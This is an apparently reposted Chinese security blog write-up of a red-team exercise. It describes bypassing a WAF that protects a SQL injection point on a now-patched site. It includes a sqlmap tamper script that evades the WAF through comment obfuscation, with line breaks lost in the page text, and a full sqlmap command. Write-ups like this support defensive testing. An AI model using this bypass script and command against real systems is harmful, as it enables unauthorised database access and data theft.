重生之我在教育园暴打小朋友

admin 2025年5月29日15:36:04评论19 views字数 1159阅读3分51秒阅读模式

一、古董Payload的惊艳亮相

前段时间,深情哥在攻防演练中遇到一个注入点,听说有十几个人轮番尝试了两个多小时,都没能绕过那个WAF。于是找到了我,当场掏出了21年的老古董payload以及sqlmap绕过脚本,结果一下就无感应绕过该waf。

重生之我在教育园暴打小朋友

很多人看到那条绕过的payload可能一头雾水,觉得这不像是正常人能想到的东西。其实并没有那么神秘,那条payload并不是靠纯手工“想”出来的,而是通过关键字爆破一步步测试出来的。不同WAF的拦截策略和强度不一样,所以每次的绕过方法也都要跟着变化,关键还是在于灵活应对。

二、逻辑缝隙中的突破之道

这次的目标站点漏洞早已修复,下面只是做个复现测试,记录一下当时的分析思路。

目标站当时的防护情况比较特殊,就是说两个 WAF 同时存在,拦截策略更复杂。下面这两张截图大致还原了当时的测试环境。

重生之我在教育园暴打小朋友
重生之我在教育园暴打小朋友

我们第一步要做的,就是确认是哪一部分语句被拦了。于是采用逐步删减的方式,从最初的注入语句中一点点剔除关键字,观察响应包返回的信息。

重生之我在教育园暴打小朋友

测试中我们发现,WAF 拦截的关键点在于 1';waitfor+delay+ 这个组合。确定拦截位置之后,就可以针对性地绕了。

重生之我在教育园暴打小朋友

这类情况下,简单的替换是个常规思路,比如我们把 + 替换成 /*ab*/,然后配合 Burp 的爆破模块进行模糊测试。

重生之我在教育园暴打小朋友

接着,我们引入关键字字典,把 a 和 b 替换为字典中的字符进行测试,慢慢试出 WAF 能接受的写法。

重生之我在教育园暴打小朋友

最终得出一条有效的绕过 payload,成功避开 WAF 的拦截。

重生之我在教育园暴打小朋友
重生之我在教育园暴打小朋友
重生之我在教育园暴打小朋友

为了更稳定地复现,编写对应的 SQLMap Tamper 脚本。

from lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWdef tamper(payload, **kwargs):    payload=payload.replace(' ','/*%0A%2a%2f*/')    payload=payload.replace('(','/*%0A%2a%2f*/(')return payload

调用方式如下。

sqlmap -r .sql.txt --proxy http://127.0.0.1:8080 --risk 3 –-skip-urlencode --tamper "ttt" --dbms="Microsoft SQL Server" --skip-waf --skip-heuristics
重生之我在教育园暴打小朋友

三、题外话

最近是真的有点忙,漏洞审了一波又一波,打的几场攻防演练也都是拿第二,包括某某银行那场,依旧是“万年老二”。虽然有点遗憾,但每一场也都挺过瘾的。

重生之我在教育园暴打小朋友
重生之我在教育园暴打小朋友

上周大病了一场,半夜反复高烧不退,跑去急诊。本来以为是被传染了,结果验血一看啥都没有,医生说可能是身体太累、精神也绷太久了,自己也觉得确实是。

原文始发于微信公众号(白日梦安全):重生之我在教育园暴打小朋友

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月29日15:36:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   重生之我在教育园暴打小朋友https://cn-sec.com/archives/4111637.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息